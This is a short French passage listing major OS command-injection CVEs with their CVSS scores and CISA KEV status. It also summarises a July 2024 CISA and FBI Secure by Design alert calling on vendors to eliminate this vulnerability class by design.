CVE majeurs : CVE-2024-3400 (PAN-OS GlobalProtect, CVSS 10.0, CISA KEV), CVE-2024-24576 (Rust stdlib Windows BatBadBut, CVSS 10.0), CVE-2024-21887 (Ivanti Connect Secure, CVSS 9.1, CISA KEV), CVE-2024-9463 (Palo Alto Expedition, CVSS 9.9, CISA KEV), CVE-2025-68613 (n8n expression injection, CVSS 9.9), CVE-2022-46169 (Cacti, CVSS 9.8) et CVE-2024-27980 (Node.js Windows spawn, CISA KEV).
Le 10 juillet 2024, la CISA et le FBI ont publié une alerte Secure by Design conjointe citant trois CVE d'injection de commandes activement exploités — CVE-2024-20399 (Cisco NX-OS), CVE-2024-3400 (PAN-OS) et CVE-2024-21887 (Ivanti) — comme preuve que les éditeurs continuent à livrer des produits comportant des failles d'injection de commandes OS évitables. La CISA a demandé aux fabricants de logiciels d'éliminer entièrement cette classe via une architecture sécurisée par défaut, et non par des correctifs.